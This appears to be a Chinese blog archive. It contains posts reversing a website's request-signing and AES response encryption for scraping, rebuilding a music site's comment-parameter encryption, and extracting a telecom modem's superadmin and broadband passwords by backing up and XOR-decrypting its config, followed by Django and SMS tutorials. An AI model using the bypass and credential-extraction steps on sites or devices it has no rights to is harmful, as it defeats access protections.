声明:本文章只用于学习研究,禁止用于但不限于商业用途、批量爬取
抓包
因为换页要求登录,所以我们打开开发者工具以后点下一年就会重新发数据包
分析后发现这个数据包就是请求的数据,返回数据和请求包都有加密,请求包里有个signsafe参数
分析请求包
ctrl+shift+f全局搜索signsafe,发现有两个js文件包含signsafe
先点开最后一个看,格式化以后继续搜索signsafe,发现uri是sendsmscode的,继续看看另外一个包(猜测:算法应该一样的,直接扣这个应该也可以)
发现只要带有signsafe的都是p赋值的,直接在p赋值的地方打上断点,然后继续发送请求包分析
认真看一下js代码,发现是url进行了HmacSHA1加密,密钥是常量D23ABC@#56,直接使用python改写
signsafe加密代码
1 | import base64 |
结果和网站js加密的一致,还有一个c()(g),盲猜md5,结果猜对了
加了md5以后结果和网站一致,signsafe参数逆向结束,这里不提供爬虫完整代码
返回数据分析
看响应包应该是aes加密,我们先搜搜aes解密的特征(如果有混淆就无效):AES.encrypt、aes.encrypt、AES.decrypt、aes.decrypt
很荣幸我们搜到了,进去看看是不是解密的地方,decrypt是解密,encrypt是加密, 別搞混了
看到这代码,熟悉的味道,这肯定是webpack,之前看过一篇自动扣webpack的文章里面有工具,我忘记收藏了,度娘一波
由于js解密代码6万多行,就不贴代码出来了,需要的可以留言,仅供学习研究!!!
]]>逆向过程略,代码如下:
1 | var window = global; |
Python 3.8.5
node v16.11.1
npm 8.0.0
Google Chrome 95.0.4638.54
PyCharm 2021.2.2
本示例以评论为例,其他接口一样可以使用
使用了ajax技术请求,所以可以使用跟栈的方式找到加密点,但使用全局搜索的方式更快
点进去下断点,确定是我们加密参数,因为params和encSecKey都来自bUM9D,所以我们在bUM9D的位置下断点
点击下一页断点确实断住了,而且是我们要的数据
看到了一个asrsea方法,但这个方法不熟悉,应该是js给加到window了,先看看参数
通过控制台输出,i8a可能就是要加密的数据;
bsB3x([“流泪”, “强”])、bsB3x(WX6R.md)、bsB3x([“爱心”, “女孩”, “惊恐”, “大笑”])这三个参数应该是固定的,使用了混淆,如果不是固定的我们取js代码就行
现在来看看asrsea函数,(我再写文章的时候才搜的,原本想水一下,结果。。。。没窥屏!!!)
继续,继续,继续
跟进去window.asrsea函数,可以在控制台直接输入window.asrsea点进去,直接选中window.asrsea点进去,我喜欢用控制台的方式 ,方便下次进去。
发现是个自执行函数,把d赋值给了window.asrsea变量,验证了我们的猜想;把整个自执行函数复制下来,丢到PyCharm里执行
发现window未定义,这个简单,在之前的文章中说过,直接把global赋值给window即可
运行成功了,以为这样就结束了,然而CryptoJS未定义,之前都是扣网站上的CryptoJS,这次我不想重蹈覆辙,一定有更简单的方式
在网上搜索了CryptoJS nodejs版,发现nodejs中不只有Crypto还有crypto-js
crypto-js参考文章:https://blog.csdn.net/weixin_43411585/article/details/108788483
引用:CryptoJS (crypto.js) 是谷歌开发的一个纯JavaScript的加密算法类库,可以非常方便的在前端进行其所支持的加解密操作
npm install crypto-js -g
但是可能安装不上,参考这篇文章:http://www.blogjava.net/waterjava/archive/2019/10/19/434853.html
安装肯定是安装上了,但是还是报错:Error: Cannot find module ‘crypto-js’
继续百度大法找到该文章:https://blog.csdn.net/mouday/article/details/100168155
到此CryptoJS 的问题终于解决了。
运行后发现setMaxDigits未定义,现在就是缺啥补啥,结果补了半天发现越补越多(woc)
红线以上的网站的CryptoJS 和其他代码,红线以下的加密用到的函数和其他代码
两根红线中间的就是加密用到的代码(不要管多余的代码,我不管他用不用到,偏要全部复制),红线下的就是调用代码,其实我们可以一并复制,但我之前已经复制了
一堆东西丢进去,结果加密成功了。
全部js代码:
1 | module.paths.push('C:\\Users\\Administrator\\AppData\\Roaming\\npm\\node_modules') |
python获取评论代码:
1 | import requests |
问过很多大佬, 他们说缺什么补什么,document和navigator就给一个空对象,window就给this,这样很多调试工具都可以用了,但是nodejs就是运行不了,报上面的错误。
在我不经意中居然解决了该问题,测试过nodejs和execjs都可以执行,就是window使用global变量
但是在js调试工具中报错:
总结如下:在调试工具中,window=this,在nodejs中,window=global。
]]>登录成功以后按键盘的F12打开开发者工具,然后输入`http://192.168.1.1:8080/usbbackup.cmd?action=backupeble&sessionKey=${sessionKey}
`
点击链接打开,不要管我的前后sessionKey不一样
如果 备份配置 按钮点击不了,把鼠标放在 备份配置 上右键检查
然后双击 disabled 点删除键就行(回车上面第二个键),打错字删除那个键,不是delete键
这时候可以点击 备份配置 了,点了以后直接会跳转到一个空白页面,url是这样的:http://192.168.1.1:8080/usbbackup.cmd?action=backup&subarea=usb1_1&set1_sessionKey=set1_sessionKey_214
这时候不要管,直接把U盘拔下来插上电脑,然后u盘里多了一个叫 e8_Config_Backup 的文件夹
、
此时的ctce8_TEWA-708G.cfg是加密文件,我们看不了,使用xor工具破解一下,命令看截图
xor下载地址:https://github.com/jonirrings/xor
最后用记事本打开生成的xml文件,搜索password就可以看到密码
使用telecomadmin和上面获取到的密码登录就可以看到更多设置,可以自己做拨号,关闭光猫拨号
宽带账号密码:
搜索2_INTERNET_R_VID_41,下面的Username和Password就是宽带密码
密码经过了base64编码,使用在线工具就可以解码,百度:base64解码
下面是Python一键脚本,输出超级管理员密码和宽带账号密码:
复制脚本保存成py文件,下载xor.exe工具和py文件放在一起,修改好账号密码运行脚本
1 | import os |
不同的请求者之间不会共享这些数据,cookie和session与请求者⼀⼀对应。
cookies 是浏览器为 Web 服务器存的⼀小信息。 每次浏览器从某个服务器请求页面时,都会自动带上以前收到的cookie。cookie保存在客户端,安全性较差,注意不要保存敏感信息。典型应用:网站登录
Django使用HttpResponse的set_cookie方法来设置对象,使用redirect重定向指定一个地址,用法:
1 | response = redirect(reverse('admin:index')) |
参数 | 说明 |
---|---|
key | cookie的名称 |
value | cookie的值,默认是空字符 |
max_age | cookies的持续有效时间(以秒计),如果设置为 None,cookies 在 浏览器关闭的时候就失效了。 |
expires | cookies的过期时间,格式:”Wdy, DD-Mth-YY HH:MM:SS GMT” 如果 设置这个参数,它将覆盖max_age。 |
path | cookie⽣效的路径前缀,浏览器只会把cookie回传给带有该路径的⻚ ⾯,这样你可以避免将cookie传给站点中的其他的应⽤。/ 表示根路径,特殊的:根路径的cookie可以 被任何url的⻚⾯访问 |
domain | cookie⽣效的站点。你可⽤这个参数来构造⼀个跨站cookie。如, domain=”.example.com” 所构造的,cookie对下⾯这些站点都是可 读的: www.example.com 、 www2.example.com。如果该参数设置为None,cookie只能由设置它的站点读取。 |
secure | 如果设置为 True ,浏览器将通过HTTPS来回传cookie。 |
httponly | 仅http传输 不能使⽤js获取cookie |
set_signed_cookie同set_cookie,不同点在于设置salt,即加盐,加密存储cookie数据:
1 | response.set_signed_cookie('username', data['username'],salt='盐值') |
获取cookies用于判断用户状态,确定前往页面。
1 | username = request.COOKIES# 获取用户请求的所有cookie |
删除cookie用于用户退出登录场景,服务器中把cookies删除,返回给浏览器,浏览器会清除本地cookie。
1 | response = render(request, 'login.html') |
路由保护简单理解为保护url地址不被非法请求,那些条件能访问,那些条件不能访问;比如后台管理,得全部保护,访问条件是管理员登录。
Python修饰器就像注入一样,我把它理解成公用代码指定。先定义一个修饰器:
1 | def check_login(func): |
在需要验证是否登录的视图函数前使用修饰器:
1 |
|
cookie看似解决了HTTP(短连接、⽆状态)的会话保持问题,但把全部⽤户数据 保存在客户端,存在安全隐患, 于是session出现了。我们可以 把关于⽤户的数据保存在服务端,在客户端cookie ⾥加⼀个sessionID(随机字符串)。其⼯作流程:
Django默认已经开启了session,配置位置:
1 | INSTALLED_APPS = [ |
进⾏数据迁移,⽣成session使⽤的数据库表
1 | python manage.py makemigrations#生成数据库迁移文件 |
session设置起来比cookies简单,cookies需要构造响应对象,seesion直接在request对象中设置即可自动返回sessionid到客户端:
1 | request.session['username'] = username |
获取也是调用request对象的seesion方法,返回键名值:
1 | username = request.session.get('username') |
1 | def logout(request): |
1 | req.session.set_expiry(5)#单位是秒 |
Django基础学习:https://www.xpctf.cn/posts/24c5/
Django晋级学习:https://www.xpctf.cn/posts/2f99/
Django模型学习:https://www.xpctf.cn/posts/d0b4/
Django会话学习:https://www.xpctf.cn/posts/7490/
Django Form学习:正在写
APP、⽹站注册账号,向⼿机下发验证码; 登录账户、异地登录时的安全提醒; 找回密码时的安全验证; ⽀付认证、身份校验、⼿机绑定等。本例采⽤阿里云短信验证
登录阿里云后点击右上角的控制台,点击阿里云logo旁边的菜单按钮,选择””产品与服务”,在搜索框输入”短信”,在”云通信”列表中点击”短信服务”进入短信服务控制台
首次进入短信服务阿里云会提示你开通短信服务,短信服务按量收费,你不用就不会收费。
个人用户只能申请一个签名,审核时间过长(2小时左右),我没法做演示。
进入控制台后选择”国内消息”,之后选择签名管理,点击添加签名按照要求填写内容即可,签名名称要是有个准确的应用名称,不能出现测试之类的词汇。
审核通过的签名
模板是你短信内容的格式,格式为:【签名名称】模板内容
进入控制台后选择”模板管理”,之后点击”添加模板”,按照填写要求填写模板即可,”${code}”是有个验证码变量,”code”是变量名,调用的使用要对应你得模板变量名。
AccessKey用于调用阿里云短信服务器的密钥
点击你的用户头像,选择”AccessKey管理”
进入后如果你没有RAM 子用户,阿里云会询问你是否创建RAM 子用户,我也搞不懂RAM 子用户是什么东西,反正我不用,选择”继续使用AccessKey”
创建删除AccessKey属于敏感操作,所以要验证用户手机号,点击”创建AccessKey”,验证手机号后即可创建成功,这时候会弹出AccesKey的ACCESS_KEY_ID和ACCESS_KEY_SECRET,把它们复制下来,调用的时候需要用到。(保护好自己AccessKey)
如果你的阿里云账户没钱的先充一块钱用于支付验证码费用,好像是0.045一条,在控制台点击费用即可充值阿里云余额。
如果您使用的是Python 3.x,执行以下命令按照阿里云SDK核心库:
1 | pip3 install aliyun-python-sdk-core-v3 -i https://mirrors.aliyun.com/pypi/simple/ |
我得电脑安装了Python2.x和Python3.x,所以使用pip3安装。
在创建Client实例时,您需要获取 AccessKey ID和AccessKey Secret,就是上面创建的AccessKey。
新建SMS.py文件,导入阿里云SDK:
1 | from aliyunsdkcore.client import AcsClient |
定义ACCESS_KEY_ID和ACCESS_KEY_SECRET变量:
1 | ACCESS_KEY_ID = "********" #用户AccessKeyID 需要根据自己的账户修改,上面申请保存的 |
定义SMS调用阿里云发送类:
1 | class SMS: |
实例化SMS类:
1 | sms = SMS("签名名称", "模版CODE") |
新建test.py文件,导入SMS.py的sms对象:
1 | from SMS import sms |
导入随机数生成模块,用于生成验证码:
1 | from random import randint |
使用rendint模块生成100000-999999的随机数验证码,阿里云规定调用方式为有个字典,键名为模块变量名,值为随机数验证码,code是申请的模块变量名:
1 | code = "{'code':%s}"%(randint(100000,999999)) |
调用SMS.py的sms对象的send方法发送验证码:
1 | res = sms.send('接收验证码的手机号',code) |
sms对象返回发送状态,因为返回的是字节流,使用utf-8解码:
1 | print(res.decode('utf-8')) |
sms.send方法返回一个字典,Message是发送状态,如果错误会返回错误信息:
1 | {'code':802881} |
错误返回:
1 | {"Message":"1848936invalid mobile number","RequestId":"7ADAE105-6D67-4A83-BF3E-3A65AE26E590","Code":"isv.MOBILE_NUMBER_ILLEGAL"} |
手机接到的验证码:
1 | 【异清轩博客管理系统】验证码为:802881,您正在注册成为平台会员,感谢您的支持! |
Django默认使⽤的是sqlite,但在⽣产环境中⼀般会⽤mysql、postgrsql、oracle 等关系型数据库。
在开发环境中,安装mysql的数据库驱动mysqlclient,mysqlclient是连接mysql的驱动,不能提供数据库服务,需要单独安装mysql。
1 | pip install mysqlclient |
在项⽬的 settings.py ⽂件中找到 DATABASES 配置项,将其信息修改为:
1 | DATABASES = { |
对象关系映射(Oject Relational Mapping,简称ORM)模式是⼀种为了解决⾯向 对象与关系数据库存在的互不匹配的现象的技术。简单的说,ORM是通过使⽤描 述对象和数据库之间映射的元数据,⾃动⽣成sql语句,将程序中的对象⾃动保存 到关系数据库中。
优点:
优点:
⾯向对象概念 | ⾯向关系概念 |
---|---|
类 | 表 |
对象 | 记录(一行) |
属性 | 字段(属性,列) |
模型中的属性和数据库表的字段对应,必须定义。模型的属性需要定义成类属性
1 | #属性定义语法为: |
字段名称 | 字段说明 | 参数 |
---|---|---|
AutoField | ⼀个根据实际Id⾃动增⻓的 IntegerField(通常不指定 ⾃动 ⽣成) | primary_key:bool 是否为主键 |
CharField | 字符串,默认的表单样式是 TextInput | max_length=字符⻓ 度 |
TextField | ⼤⽂本字段,⼀般超过4000使 ⽤,默认的表单控件是 Textarea | |
IntegerField | 整数 | |
DecimalField | 使⽤python的Decimal实例表 示的⼗进制浮点数 | |
FloatField | ⽤Python的float实例来表示的 浮点数 | |
BooleanField | true/false 字段,此字段的默认 表单控制是CheckboxInput | |
NullBooleanField | ⽀持null、true、false三种值 | |
DateField | 使⽤Python的datetime.date实 例表示的⽇期,该字段默认对 应的表单控件是⼀个TextInput | auto_now和 auto_now_add、 default这三个参数 不能同时共存 |
TimeField | 使⽤Python的datetime.time实 例表示的时间 | 参数同DateField |
DateTimeField | 使⽤Python的 datetime.datetime实例表示的 ⽇期和时间 | 参数同DateField |
ImageField | 继承了FileField的所有属性和⽅ 法,但对上传的对象进⾏校 验,确保它是个有效的image |
适⽤于任何字段,可以实现字段的约束,在⽣成字段时通过⽅法的关键字参数指 定。
可选参数 | 说明 |
---|---|
null | 如果 True ,Django将 NULL 在数据库中存储空值。默认 是 False 。不要在字符串字段上使⽤。null是数据库范畴的概 念 |
blank | 如果 True ,该字段允许为空。默认是 False 。同null不同, 如果字段有 blank=True ,则表单验证将允许输⼊空值。如果 字段有 blank=False ,则需要该字段。 |
db_column | ⽤于此字段的数据库列的名称。如果没有给出,Django将使 ⽤该字段的名称。 |
db_index | 如果 True ,将为此字段创建数据库常规索引。 |
unique | 如果 True ,该字段在整个表格中必须是唯⼀的。 |
primary_key | 如果 True ,此字段是模型的主键。 |
default | 默认值 当前字段如果不给值则执⾏默认值 |
我们可以在应⽤的models.py中定义模型:
1 | from django.db import models |
1 | id = models.AutoField(primary_key=True) |
名称 | 说明 |
---|---|
db_table | 数据库中的表名 |
abstract | 当设置为True时,说明当前模型是抽象基类 |
managed | 如果设置False,则迁移不会创建或删除表,默认是True |
ordering | ⽤于记录排序,ordering = [‘pub_date’]或降序ordering = [‘- pub_date’] |
1 | $ python manage.py makemigrations |
1 | $ python manage.py migrate |
然后在应⽤的migrations⽬录中应该⽣成了迁移⽂件
1 | ├── app |
注意:任何对字段或表的修改都需要重新迁移
1 | python manage.py inspectdb > App/models.py |
我们可以在交互式Python shel环境中,使⽤Django提供的免费API。要调⽤ Python shell,请使⽤以下命令:
1 | $ py -3 manage.py shell |
1 | def sql(request): |
数据的逻辑删除
对于重要数据,⼀般不会直接删除,会在表中增加⼀个字段⽐如: is_deleted,如果删除的话,将这个字段置为True,以后查询的时候不在查 询,这种操作称为逻辑删除
要从数据库检索数据,⾸先要获取⼀个查询集(QuerySet),查询集表示从数据库获
取的对象集合,它可以有零个,⼀个或多个过滤器。返回查询集的⽅法,称为过滤
器,过滤器根据给定的参数缩⼩查询结果范围,相当于sql语句中where或limit。
遍历数据库所有数据:
1 | def user_list(request): |
1 |
|
过来取可串联使用,比如:users = User.objects.filter(username='Mxm7788', password='1').filter(id=5)
实现mysql limit功能显示前10条:User.objects.all()[:10]
实现mysql limit功能显示5-10条:User.objects.all()[4:11]
注意:Python切片包头不包尾
管理器的⽅法 | 返回类型 | 说明 |
---|---|---|
模型类.objects.all() | QuerySet | 返回表中所有数据 |
模型类.objects.filter() | QuerySet | 返回符合条件的数据,相当于where |
模型 类.objects.exclude() | QuerySet | 返回不符合条件的数据 |
模型 类.objects.order_by() | QuerySet | 对查询结果集进⾏排序 |
模型 类.objects.values() | QuerySet | 返回⼀个Queryset,其中每个对象为⼀个字典 |
模型 类.objects.values_list() | QuerySet | 和values()基本相同,但每个对象是⼀个元组 |
模型 类.objects.reverse() | QuerySet | 对排序的结果反转 |
模型类.objects.only(字段) | QuerySet | 只显示指定字段 |
模型 类.objects.defer(字段) | QuerySet | 去除指定字段 |
模型类.objects.get() | 模型对象 | 返回⼀个满⾜条件的对象; 如果没有找到符合条件的对象,会引发模 型类.DoesNotExist异常; 如果找到多个,会引发模型 类.MultiObjectsReturned 异常 |
模型类.objects.first() | 模型对象 | 返回第⼀条数据 |
模型类.objects.last() | 模型对象 | 返回最后⼀条数据 |
模型 类.objects.earliest() | 模型对象 | 根据指定字段返回最早增加的记录 |
模型 类.objects.latest(field) | 模型对象 | 根据field字段返回最近增加记录 |
模型类.objects.exists() | bool | 判断查询的数据是否存在 |
模型类.objects.count() | int | 返回查询集中对象的数⽬ |
.get非过滤器查询只能返回一条数据,返回一条或不返回都会报错。
查询结果集中记录数:
1 | # 返回类型必须是QuerySet才能调用count |
查询结果集中是否有记录:
1 | # 开发很常用,用于避免错误处理 |
相当于sql语句中where⼦句,在传参是无法使用关系运算符,它可以为filter、exclude和get⽅法提供参数。
基础语法:
属性名称__⽐较运算符=值 #是两个下划线
filter支持多个条件查询,使用英文逗号分割多个条件:
1 | myarticle.objects.filter(id__lt=50, id__gte=20) |
操作符 | 含义 | |
---|---|---|
=或exact | 精确判等 | name=’admin’ |
iexact | 不区分⼤⼩写判等 | name__iexact=’Admin’ |
gt | 大于 | uid__gt=5 |
gte | 大于等于 | uid__gte=5 |
lt | 小于 | uid__lt=5 |
lte | 小于等于 | uid__lte=5 |
contains | 模糊查询,等价like ‘% 值%’ | name__contains=’Ad’ |
icontains | 不区分⼤⼩写的模糊查 询 | name__icontains=’ad’ |
startswith | 以什么开头 | name__startswith=’a’ |
istartswith | 不区分⼤⼩写的以什么开头 | name__istartswith=’A’ |
endswith | 以什么结尾 | name__endswith=’n’ |
iendswith | 不区分⼤⼩写的以什么结尾 | name__iendswith=’N’ |
isnull | 判空,是否为空(等价 = None) | name__isnull=True |
in | 包含 | uid__in = [1,2,3] #in后⾯必须是可迭 代对象 |
regex | 正则匹配 | uname__regex= r’^a |
iregex | 不区分大小写的正则匹配 | uname__iregex= r’^a |
需要先导⼊模块:
1 | from django.db.models import Max,Min,Sum,Avg,Count |
1 | #统计记录总数: select count(*) from user |
1 | #等价sql: select type,count(*) from user group by type |
需要先导⼊模块:
1 | from django.db.models import Q,F |
1 | #原⽣sql:select * from user where uid = 2 or uid = 3 |
1 | #等价sql:select * from user where uid < type |
您可以使⽤它 模块类.objects.raw()来执⾏原始查询并返回模型实例,或者您可以完全避免模型层并直接执⾏⾃定义SQL。
使用原始sql语句可以执行任何sql语句(必须包含主键),和模型无关。
1 | users = User.objects.raw("select * from user") |
1 | from django.db import connection |
模型类和数据库中表对应,模型类的对象和记录对象,模型类本身没有数据库访问 功能,但模型类中有⼀个Manager类的对象,通过管理器对象可以实现和数据库的 访问。
当我们没有为模型类定义管理器时,Django会为模型类⽣成⼀个名为objects的管 理器,⾃定义管理器后,Django不再⽣成默认管理器objects。
管理器是Django的模型进⾏数据库操作的接⼝,Django应⽤的每个模型都拥有⾄ 少⼀个管理器。Django⽀持⾃定义管理器类,继承⾃models.Manager。
⾃定义管理器类主要⽤于两种情况:
在模型类中⾃定义⼀个新的管理器,则原有的objects管理器不会存在,以后对数 据库的操作使⽤⾃⼰定义的管理器
1 | #模型类 |
1 | #⾸先⾃定义Manager的⼦类 |
1 | class ArticleManager(models.Manager): |
关系数据库最强⼤大的地⽅方在于“关系”,也即表和表之间是有关联的,这种关联有三 种类型:
一个学⽣生有⼀一个档案,一个档案属于一个学⽣生,那么学⽣生表和档案表就是一对一关 系。学生表是主表,档案表是从表,从表中有一个外键和学生表关联,并且要求外键取值唯一。对应关键字为:OneToOneField
1 | class Student(models.Model): |
1 | def addstudent(request): |
1 | def deletestudent(request): |
1 | def findstudent(request): |
1 | def findarchives(request): |
1 | def lookup(request): |
⼀个出版社可以出版多本书,⼀本书只能被⼀个出版社出版。出版社和图书表属于 ⼀对多,⼀对多⼀般将主表中的主键并到从表中做外键。在模型中⽤ForeignKey表 示多对⼀
1 | class Publisher(models.Model): |
⼀个买家可以购买多件商品,⼀件商品可以被多个买家购买,买家和商品之间构成 多对多关系,多对多关系必然会⽣成⼀张中间表:买家-商品表,记录商品和买家 的关系,该表包含商品表主键和买家表的主键
1 | from django.db import models |
django中的数据库模块提供了⼀个非常不错的功能,就是⽀持models的面向对 象,可以在models中添加Meta,指定是否抽象,然后进⾏继承。父类的嵌套类中有一个abstract参数,这个参数告诉Django怎么操作数据库。
当abstract为False时:DJango会创建两个表,一个子表一个父表,子表不会只有子类里的定义的属性
当abstract为True时:Django只会创建子表,不会创建父类表,生成表列为父类属性+子类属性
1 | class Animal(models.Model): |
分页是把数据按照一页多少个输出,Paginator⽤于分⻚,但Paginator并不具体管理具体的⻚的处理,而是使⽤Page 对象管理具体页面。
1 | paginator = Paginator(users, 10)#paginator是返回对象,Paginator是Django提供的分页管理器,需要导入 |
page对象是调用创建分页管理器返回的对象的方法返回的对象,具体负责每页的处理,包括每页的数据,当前页的页码,是否有上⼀⻚ 或下⼀页等。
类别 | 名称 | 说明 |
---|---|---|
属性 | object_list | 当前页码上的所有数据(QuerySet) |
属性 | number | 当前页码值 |
属性 | paginator | 返回Paginator的对象 |
方法 | has_next | 是否有下⼀页 |
方法 | has_previous | 是否有上⼀页 |
方法 | has_other_pages | 是否有上⼀页或者下⼀页 |
方法 | next_page_number | 返回下⼀页的页码 |
方法 | previous_page_number | 返回上⼀页的页码 |
方法 | len | 返回当前页数据的个数 |
1 | def page(request, page=1): |
1 |
|
Django基础学习:https://www.xpctf.cn/posts/24c5/
Django晋级学习:https://www.xpctf.cn/posts/2f99/
Django模型学习:https://www.xpctf.cn/posts/d0b4/
Django会话学习:https://www.xpctf.cn/posts/7490/
Django Form学习:正在写
Django使用path对象来定义路由列表,path有四个参数:
当path中模式串不能满足你的路由规则,还可以使用re_path对象,re_path对象中模式串是正则表达式,其他三个参数和path对象一致。
str写法:path('user/',include("App.urls")),
匹配成功:http://127.0.0.1:8000/user/
匹配失败:http://127.0.0.1:8000/login/
int写法:path('show/<int:age>/',views.show,name="show")
如果匹配字符串写了参数,在views里定义函数就需要参数来接收:
1 | def show(request,age): |
匹配成功:http://127.0.0.1:8000/user/show/90/
匹配失败:http://127.0.0.1:8000/user/show/ac/
slug写法:path('list/<slug:name>/',views.list,name="list"),
views:
1 | def list(request,name): |
只要list/后是大小写字母、数字、下划线、-都可以匹配成功
匹配成功:http://127.0.0.1:8000/user/list/A1_/
匹配失败:http://127.0.0.1:8000/user/list/A1.
path写法:path('path/<path:path>/',views.path,name="path"),
views:
1 | def path(request,path): |
该类型匹配除空格外的所有字符串。
在re_path中,()部分是正则的组,Django在进行url匹配时,就会自动把匹配成功的内容,作为参数传递给视图函数。
re_path无参数匹配手机号:
1 | #urls路由,无参数 |
re_path有参数匹配手机号:
1 | #urls路由,有参数:tel,使用?P标志参数 |
视图本质上是一个函数(类)。这个函数第一个参数的类型时Httpreuest(Djiango传参);它返回一个HttpResponse实例。为了使一个Python的函数成为一个Django可以识别的视图,它必须满足这两个条件。
视图作用:接收并处理请求,调用模型和模板,响应请求
HttpRequest是从web服务器传递过来的请求对象,经过Django框架封装产生的,封装了原始的Http请求。
常用类型都可以使用这样的方式获取:
获取COOKIES数据:print(request.COOKIES)
获取POST的username的值:print(request.GET.get('username'))
获取POST的username数组字典:print(request.GET.getlist('username'))
QuertDict=>Dict:print(request.GET.dict())
每一个视图函数必须返回一个响应对象,HttpResponse对象由程序员创建并返回。
参数 | 说明 |
---|---|
content | 字节字符串 |
charset | 字符编码 |
status_code | Http状态码 |
conten_type | 指定输出的MIME类型 |
1 | def post(request): |
一般使用render函数返回,render只是HttpResponse的包装,还是会返回一个HttpResponse对象。
参数 | 说明 |
---|---|
request | HttpRequest的request参数 |
template_name | HTTP渲染模板 |
context | 渲染的字典文件,默认为空 |
content_type | MIME类型,用于生成文档 |
status | Http响应码,默认200 |
使用redirect函数来对网页进行重定向到网站首页。
1 | def red(request): |
通过name取得路由表地址,首先在路由表”urls.py”中设置路由命名空间:app_name = "App"
调用的时候使用”命名空间:路由名称”调用,实例:
1 | # urls.py |
有参调用:
1 | # urls.py |
Django内置了处理HTTP错误的视图(在django.views.defaults包下),主要错误视图包括:
如果开启DEBUG模式,出错了Django会调用默认模板,如果DEBUG=False;在模板路径下创建404.html、500.html、403.heml,出错后Django会自动调用该模板。
模板用于快速生成动态页面返回给客户端,模板是一个文本。用于分离文档的表现形式和内容。模板定义了占位符以及各种用于规范文档该如何显示的模块标签。模板通常是用于产生HTML,但是Django的模板也能产生任何基于文本格式的文档。模板包含两部分:
需要修改项目的配置文件setings.py:
1 | TEMPLATES = [ |
渲染方式:
1 | def index(request): |
1 | def index(request): |
Django模板中包括两部分:变量和内置标签。变量会在模板渲染时被其值代替,内置标签负责逻辑控制。
1 | from django import template |
1 | {% load mytag %} {# 加载自定义过滤器 #} |
1 | {% if express1 %} |
if表达式中使⽤以下运算符(优先级从⾼到低):
不要在表达式中使⽤(),可以使⽤if嵌套实现功能
不⽀持 if 3 < b < 5这种写法
遍历可迭代对象
1 | {% for i in y%} |
反向迭代(reversed)
1 | {% for value in c [1,2,3,4,5] reversed %} |
1 | {% for value in c %} |
1 | e = {'a1':20,'b1':40} |
变量名称 | 变量说明 |
---|---|
forloop.counter | 获取迭代的索引 从1开始 |
forloop.counter0 | 获取迭代的索引 从0开始 |
forloop.revcounter | 迭代的索引从最⼤递减到1 |
forloop.revcounter0 | 迭代的索引从最⼤递减到0 |
forloop.first | 是否为第⼀次迭代 |
forloop.last | 是否为最后⼀次迭代 |
forloop.parentloop | 获取上层的迭代对象 |
1 | {% for i in c %} |
⽤于判断两个值相等或不等的
1 | {% ifequal var var %} |
1 | {# 注释内容 #} |
1 | {% comment %} |
防⽌⽹站受第三⽅服务器的恶意攻击(确定表单到底是不是本⽹站的表单传递过来 的)。csrf相当于在表达中增加了⼀个隐藏的input框,⽤于向服务器提交⼀个唯⼀ 的随机字符串⽤于服务器验证表单是否是本服务器的表单。
编辑settings.py开启csrf
1 | MIDDLEWARE = [ |
表单调用:
1 | <form action="" method="post"> |
全站禁⽤csrf:
1 | #在settings中设置 |
局部禁⽤csrf:
1 | #在不想检验csrf的视图函数前添加装饰器@csrf_exempt。 |
ajax验证csrf:
1 | Ajax提交数据时候,携带CSRF: |
注意:
csrf的意义在于 给每⼀个表单都设置⼀个唯⼀的csrf的值 并且cookie也存储⼀份 当提交表单过来的时候 判断cookie中的值 和csrf_token中的值 是否都为本⽹站⽣ 成的 如果验证通过则提交 否则 403
可以把指定html⽂件代码导⼊到当前⽂件,实现模板代码的复⽤/重⽤。语法格式:
1 | {% include '路径/xxx.html' %} |
在模板中url标签可⽤于反向解析
1 | <h2><a href="{% url 'App:index' %}">动态⽣成路由地址不带参的跳转</a> |
什么是静态资源:css、js、images 需要从外部导⼊的资源
在项目根目录下创建个static文件夹,用来存储css、js、images等静态资源。
1 | STATIC_URL = '/static/' |
1 | {% load static %} #放置到模板开头 |
Django基础学习:https://www.xpctf.cn/posts/24c5/
Django晋级学习:https://www.xpctf.cn/posts/2f99/
Django模型学习:https://www.xpctf.cn/posts/d0b4/
Django会话学习:https://www.xpctf.cn/posts/7490/
Django Form学习:正在写
Django 是一个由 Python 编写的一个开放源代码的 Web 应用框架。
使用 Django,只要很少的代码,Python 的程序开发人员就可以轻松地完成一个正式网站所需要的大部分内容,并进一步开发出全功能的 Web 服务 Django 本身基于 MVC 模型,即 Model(模型)+ View(视图)+ Controller(控制器)设计模式,MVC 模式使后续对程序的修改和扩展简化,并且使程序某一部分的重复利用成为可能。
Python 加 Django 是快速开发、设计、部署网站的最佳组合。
MVC 模式(Model–view–controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model)、视图(View)和控制器(Controller)。
MVC 以一种插件式的、松耦合的方式连接在一起。
简易图:
用户操作流程图:
Django 的 MTV 模式本质上和 MVC 是一样的,也是为了各组件间保持松耦合关系,只是定义上有些许不同,Django 的 MTV 分别是指:
除了以上三层之外,还需要一个 URL 分发器,它的作用是将一个个 URL 的页面请求分发给不同的 View 处理,View 再调用相应的 Model 和 Template,MTV 的响应模式如下所示:
简易图:
用户操作流程图:
解析:
用户通过浏览器向我们的服务器发起一个请求(request),这个请求会去访问视图函数:
视图函数把返回的数据填充到模板中空格中,最后返回网页给用户。
在安装 Django 前,系统需要已经安装了Python的开发环境。接下来我们来具体看下不同系统下Django的安装。
如果你还未安装Python环境需要先下载Python安装包。
1、Python 下载地址:https://www.python.org/downloads/
2、Django 下载地址:https://www.djangoproject.com/download/
注意:目前 Django 2.2.x 以上版本已经完全兼容 Python 3.x。
安装 Python 你只需要下载 python-x.x.x.msi 文件,然后一直点击 “Next” 按钮即可。
使用pip安装Django即可,加-i参数使用阿里云的pipy源,速度快.
命令:
1 | pip install Django==2.2 -i https://mirrors.aliyun.com/pypi/simple/ |
输入以下命令进行检查:
1 | >>> import django |
如果输出了Django的版本号说明安装正确。
本章我们将介绍Django 管理工具及如何使用 Django 来创建项目,第一个项目我们以 HelloWorld 来命令项目。
测试版本说明:
安装 Django 之后,您现在应该已经有了可用的管理工具 django-admin.py,Windows 如果没有配置环境变量可以用 django-admin。
我们可以使用 django-admin.py 来创建一个项目:
我们可以来看下django-admin 的命令介绍:
1 |
|
使用 django-admin 来创建 Hello 项目:
django-admin startproject Hello
使用tree /F来查看目录结构:
1 | $ tree /F |
目录说明:
接下来我们进入 Hello 目录输入以下命令,启动服务器:
py -3 manage.py runserver 0.0.0.0:8000
0.0.0.0 让其它电脑可连接到开发服务器,8000 为端口号。如果不说明,那么端口号默认为 8000。
在浏览器输入你服务器的 ip(这里我们输入本机 IP 地址: 127.0.0.1:8000) 及端口号,如果正常启动,输出结果如下:
使用py -3 manage.py startapp App
创建一个应用,
目录结构:
